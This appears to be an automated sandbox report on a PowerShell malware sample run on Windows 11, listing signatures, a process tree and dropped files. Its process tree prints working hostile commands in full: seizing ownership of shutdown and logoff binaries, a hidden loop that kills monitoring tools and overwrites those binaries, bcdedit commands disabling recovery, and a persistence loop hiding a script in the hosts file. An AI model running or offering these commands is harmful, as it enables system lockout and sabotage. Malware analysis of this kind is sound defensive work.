Analysis

  • user interaction
    yes
  • max time kernel
    21s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    01/07/2026, 17:58

General

  • Target
    target.ps1
  • Size 12KB
  • Sample260701-wkllysc14v
  • SHA256 dedca95b1c824184bac5870a1e12686c8d9fd4090070edf7cb96eb339e8ac34f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 1 IoCs
  • Possible privilege escalation attempt 8 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 34 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\target.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Drops file in Drivers directory
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4256
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\u3x1lmlp\u3x1lmlp.cmdline"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4184
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES91AC.tmp" "c:\Users\Admin\AppData\Local\Temp\u3x1lmlp\CSCAAD5F3C6186E4EDAA4B2BBE051EB7E1F.TMP"
        3⤵
          PID:3704
      • C:\Windows\system32\takeown.exe
        "C:\Windows\system32\takeown.exe" /F C:\Windows\system32\shutdown.exe /A
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:4664
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" C:\Windows\system32\shutdown.exe /grant Administrators:F /t
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:7144
      • C:\Windows\system32\takeown.exe
        "C:\Windows\system32\takeown.exe" /F C:\Windows\system32\logoff.exe /A
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:3916
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" C:\Windows\system32\logoff.exe /grant Administrators:F /t
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:4608
      • C:\Windows\system32\takeown.exe
        "C:\Windows\system32\takeown.exe" /F C:\Windows\system32\tsdiscon.exe /A
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:6172
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" C:\Windows\system32\tsdiscon.exe /grant Administrators:F /t
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:6892
      • C:\Windows\system32\takeown.exe
        "C:\Windows\system32\takeown.exe" /F C:\Windows\system32\reset.exe /A
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:5464
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" C:\Windows\system32\reset.exe /grant Administrators:F /t
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:6596
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vbzu44dc\vbzu44dc.cmdline"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4420
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES98E0.tmp" "c:\Users\Admin\AppData\Local\Temp\vbzu44dc\CSC49CA511149494EC88CE84B5372263DF.TMP"
          3⤵
            PID:2896
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\sw1hxyu0\sw1hxyu0.cmdline"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2440
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA17B.tmp" "c:\Users\Admin\AppData\Local\Temp\sw1hxyu0\CSC56273B3CEE9C48CAA53C85C5C6B2A1EA.TMP"
            3⤵
              PID:2864
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2jgjcsn4\2jgjcsn4.cmdline"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2904
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA6E9.tmp" "c:\Users\Admin\AppData\Local\Temp\2jgjcsn4\CSC9F6B285C5A52421E94B96B33FB6041D2.TMP"
              3⤵
                PID:4392
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:6880
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "while ($true) { # Kill taskkill, taskmgr, process explorer, etc. $badProcs = @("taskkill","taskmgr","procexp","procmon","psexec","wmic","cscript","wscript","powershell_ise") foreach ($p in $badProcs) { Get-Process -Name $p -ErrorAction SilentlyContinue | Stop-Process -Force -ErrorAction SilentlyContinue } # Re-apply shutdown blocker and overwrite executables if restored try { $blocker = [ShutdownBlocker]; $blocker::Block() } catch {} $system32 = [Environment]::SystemDirectory $exes = @("shutdown.exe","logoff.exe") foreach ($e in $exes) { $path = Join-Path $system32 $e if (Test-Path $path) { $content = Get-Content $path -ErrorAction SilentlyContinue if ($content -notmatch "vm_keeper") { takeown /F $path /A 2>$null; icacls $path /grant Administrators:F /t 2>$null $dummy = "@echo off`npowershell -WindowStyle Hidden -ExecutionPolicy Bypass -File `"C:\Windows\Temp\vm_keeper.ps1`"`nexit /b 0" Set-Content -Path $path -Value $dummy -Force } } } Start-Sleep -Seconds 30 }"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:5132
            • C:\Windows\system32\bcdedit.exe
              "C:\Windows\system32\bcdedit.exe" /set {globalsettings} advancedoptions false
              2⤵
              • Modifies boot configuration data using bcdedit
              PID:6816
            • C:\Windows\system32\bcdedit.exe
              "C:\Windows\system32\bcdedit.exe" /set {globalsettings} optionsedit false
              2⤵
              • Modifies boot configuration data using bcdedit
              PID:5644
            • C:\Windows\system32\bcdedit.exe
              "C:\Windows\system32\bcdedit.exe" /set recoveryenabled No
              2⤵
              • Modifies boot configuration data using bcdedit
              PID:4300
            • C:\Windows\system32\bcdedit.exe
              "C:\Windows\system32\bcdedit.exe" /set bootstatuspolicy ignoreallfailures
              2⤵
              • Modifies boot configuration data using bcdedit
              PID:4544
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "while ($true) { if (-not (Test-Path "C:\Windows\Temp\vm_keeper.ps1")) { # Restore from a hidden alternate data stream (store in hosts file) $backup = [System.IO.File]::ReadAllText("C:\Windows\System32\drivers\etc\hosts") if ($backup -match "KEEPER_START(.*)KEEPER_END") { [System.IO.File]::WriteAllText("C:\Windows\Temp\vm_keeper.ps1", $matches[1]) } } Start-Sleep -Seconds 5 }"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:4628
            • C:\Windows\system32\gpupdate.exe
              "C:\Windows\system32\gpupdate.exe" /force /target:computer
              2⤵
                PID:4736

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

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                  Downloads

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 952B
                  • SHA256 d4a4662e30ee7896a413668bd7c3ffc07da6c9493181434e7ef2611d82f334b8
                  • MD5 SHA1 SHA512 TLSH

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 1ceda18bd0feba07e5b9baf9abb37dd4fc9fb200b97800ae89525b05ed930c73
                  • MD5 SHA1 SHA512 TLSH

                  2jgjcsn4.dll

                  • Path C:\Users\Admin\AppData\Local\Temp\2jgjcsn4\2jgjcsn4.dll
                  • Size 3KB
                  • SHA256 fbec098870318170ba25903d2e719954668ff8539ecc137ffdd5b45769b92a67
                  • MD5 SHA1 SHA512 TLSH

                  RES91AC.tmp

                  • Path C:\Users\Admin\AppData\Local\Temp\RES91AC.tmp
                  • Size 1KB
                  • SHA256 29ed61fa2e07bf47c835c015bbaca565670c95b1cf9ce221b18303dc0b9ae032
                  • MD5 SHA1 SHA512 TLSH

                  RES98E0.tmp

                  • Path C:\Users\Admin\AppData\Local\Temp\RES98E0.tmp
                  • Size 1KB
                  • SHA256 412f4b325028c1cf0de991327b3061c794892a1fd3d6860ce4344f5372b4ed1f
                  • MD5 SHA1 SHA512 TLSH

                  RESA17B.tmp

                  • Path C:\Users\Admin\AppData\Local\Temp\RESA17B.tmp
                  • Size 1KB
                  • SHA256 298c6279258c1199f419eb0e1cda9f50498d9aae416b02f5cf5d1c50a4ba3998
                  • MD5 SHA1 SHA512 TLSH

                  RESA6E9.tmp

                  • Path C:\Users\Admin\AppData\Local\Temp\RESA6E9.tmp
                  • Size 1KB
                  • SHA256 579c2c5d0fab4a5243251eaeb6c0d5b63173cf895165b2ee046c6e8055abb051
                  • MD5 SHA1 SHA512 TLSH

                  __PSScriptPolicyTest_uayfrzp0.x3b.ps1

                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uayfrzp0.x3b.ps1
                  • Size 60B
                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                  • MD5 SHA1 SHA512 TLSH

                  sw1hxyu0.dll

                  • Path C:\Users\Admin\AppData\Local\Temp\sw1hxyu0\sw1hxyu0.dll
                  • Size 3KB
                  • SHA256 a378b42fc9fc6e3ed9537d264555112aa15649063e55705b3a048cffb2d8dd10
                  • MD5 SHA1 SHA512 TLSH

                  u3x1lmlp.dll

                  • Path C:\Users\Admin\AppData\Local\Temp\u3x1lmlp\u3x1lmlp.dll
                  • Size 4KB
                  • SHA256 d7d5937a162032c22b2d1a9bef50ca2f399e1afd8ddc73fe487fd233a23419fa
                  • MD5 SHA1 SHA512 TLSH

                  vbzu44dc.dll

                  • Path C:\Users\Admin\AppData\Local\Temp\vbzu44dc\vbzu44dc.dll
                  • Size 3KB
                  • SHA256 a3776f7c8c578452bac64cdb5141ee2223ed972cc4d40378bcef747b0f180651
                  • MD5 SHA1 SHA512 TLSH

                  2jgjcsn4.0.cs

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\2jgjcsn4\2jgjcsn4.0.cs
                  • Size 647B
                  • SHA256 1fa82e05df0472d6560e9350f0a6812cc1fd53429452ab1678ff5ba1c0350800
                  • MD5 SHA1 SHA512 TLSH

                  2jgjcsn4.cmdline

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\2jgjcsn4\2jgjcsn4.cmdline
                  • Size 369B
                  • SHA256 8dc3b8f3e130759b5b6063f77eb89b96d48e0747a354ca9bade71028a5436683
                  • MD5 SHA1 SHA512 TLSH

                  CSC9F6B285C5A52421E94B96B33FB6041D2.TMP

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\2jgjcsn4\CSC9F6B285C5A52421E94B96B33FB6041D2.TMP
                  • Size 652B
                  • SHA256 a765406523a272160f2f9afe46994b84135c1b458674b628cbbaa56868723c4c
                  • MD5 SHA1 SHA512 TLSH

                  CSC56273B3CEE9C48CAA53C85C5C6B2A1EA.TMP

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\sw1hxyu0\CSC56273B3CEE9C48CAA53C85C5C6B2A1EA.TMP
                  • Size 652B
                  • SHA256 93cbfda82f48b05556fc0c7df807b2a8627c688565b821424d73e609e2c672b6
                  • MD5 SHA1 SHA512 TLSH

                  sw1hxyu0.0.cs

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\sw1hxyu0\sw1hxyu0.0.cs
                  • Size 343B
                  • SHA256 8f8bb45b4717e93bf9dec52ce3c79ec153df04ab8286ee7c2467001f3488c60f
                  • MD5 SHA1 SHA512 TLSH

                  sw1hxyu0.cmdline

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\sw1hxyu0\sw1hxyu0.cmdline
                  • Size 369B
                  • SHA256 95a538b6960b05e51a0a463f0c160249527724978d2eafa8dedd93df09f0d610
                  • MD5 SHA1 SHA512 TLSH

                  CSCAAD5F3C6186E4EDAA4B2BBE051EB7E1F.TMP

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\u3x1lmlp\CSCAAD5F3C6186E4EDAA4B2BBE051EB7E1F.TMP
                  • Size 652B
                  • SHA256 08c6cdadbe1b37f95b903be276fe8b0728274f7d4d4f78fa59a3c8f2f6756dcf
                  • MD5 SHA1 SHA512 TLSH

                  u3x1lmlp.0.cs

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\u3x1lmlp\u3x1lmlp.0.cs
                  • Size 1KB
                  • SHA256 2dbc0a67d963f6c18a462bca497bad10c22894c5ebc28d50969ddab31c66c3f2
                  • MD5 SHA1 SHA512 TLSH

                  u3x1lmlp.cmdline

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\u3x1lmlp\u3x1lmlp.cmdline
                  • Size 369B
                  • SHA256 58db025672ac1f2f11c1f2dd43197e41db9cb31ea53da99ea13a56295b83888d
                  • MD5 SHA1 SHA512 TLSH

                  CSC49CA511149494EC88CE84B5372263DF.TMP

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\vbzu44dc\CSC49CA511149494EC88CE84B5372263DF.TMP
                  • Size 652B
                  • SHA256 dedeb1292cdc0160e07b9afaaa1777aadd5dec27a680b8fd89f48e0b389363fa
                  • MD5 SHA1 SHA512 TLSH

                  vbzu44dc.0.cs

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\vbzu44dc\vbzu44dc.0.cs
                  • Size 548B
                  • SHA256 5e779db676d438c491736b4d2f30b08daea3e0ffc4e50fe491a6e05f37d68642
                  • MD5 SHA1 SHA512 TLSH

                  vbzu44dc.cmdline

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\vbzu44dc\vbzu44dc.cmdline
                  • Size 369B
                  • SHA256 fba993062fdc1eab4ab955ff40637977314cec2d822275f5810122a798cf73cd
                  • MD5 SHA1 SHA512 TLSH

                  memory/4256-70-0x0000013F6A900000-0x0000013F6A91E000-memory.dmp

                  memory/4256-34-0x00007FF8AD4F0000-0x00007FF8ADE94000-memory.dmp

                  memory/4256-28-0x00007FF8AD4F0000-0x00007FF8ADE94000-memory.dmp

                  memory/4256-31-0x00007FF8AD4F0000-0x00007FF8ADE94000-memory.dmp

                  memory/4256-42-0x00007FF8AD4F0000-0x00007FF8ADE94000-memory.dmp

                  memory/4256-27-0x00007FF8AD4F0000-0x00007FF8ADE94000-memory.dmp

                  memory/4256-0-0x00007FF8AD67F000-0x00007FF8AD680000-memory.dmp

                  memory/4256-26-0x0000013F52070000-0x0000013F52078000-memory.dmp

                  memory/4256-36-0x00007FF8AD4F0000-0x00007FF8ADE94000-memory.dmp

                  memory/4256-63-0x0000013F6A5B0000-0x0000013F6A5B8000-memory.dmp

                  memory/4256-17-0x00007FF8AD4F0000-0x00007FF8ADE94000-memory.dmp

                  memory/4256-32-0x00007FF8AD4F0000-0x00007FF8ADE94000-memory.dmp

                  memory/4256-71-0x0000013F6A920000-0x0000013F6A9D2000-memory.dmp

                  memory/4256-72-0x0000013F6A9E0000-0x0000013F6A9EA000-memory.dmp

                  memory/4256-73-0x0000013F6AB60000-0x0000013F6AB7E000-memory.dmp

                  memory/4256-50-0x0000013F6A5A0000-0x0000013F6A5A8000-memory.dmp

                  memory/4256-12-0x00007FF8AD4F0000-0x00007FF8ADE94000-memory.dmp

                  memory/4256-11-0x00007FF8AD4F0000-0x00007FF8ADE94000-memory.dmp

                  memory/4256-10-0x00007FF8AD4F0000-0x00007FF8ADE94000-memory.dmp

                  memory/4256-9-0x00007FF8AD4F0000-0x00007FF8ADE94000-memory.dmp

                  memory/4256-86-0x0000013F6A910000-0x0000013F6A918000-memory.dmp

                  memory/4256-87-0x0000013F6B0C0000-0x0000013F6B236000-memory.dmp

                  memory/4256-88-0x0000013F6B450000-0x0000013F6B65A000-memory.dmp

                  memory/4256-8-0x00007FF8AD4F0000-0x00007FF8ADE94000-memory.dmp

                  memory/4256-112-0x00007FF8AD4F0000-0x00007FF8ADE94000-memory.dmp

                  memory/4256-113-0x00007FF8AD4F0000-0x00007FF8ADE94000-memory.dmp

                  memory/4256-115-0x00007FF8AD4F0000-0x00007FF8ADE94000-memory.dmp

                  memory/4256-6-0x0000013F6A510000-0x0000013F6A532000-memory.dmp

                  memory/4256-118-0x00007FF8AD4F0000-0x00007FF8ADE94000-memory.dmp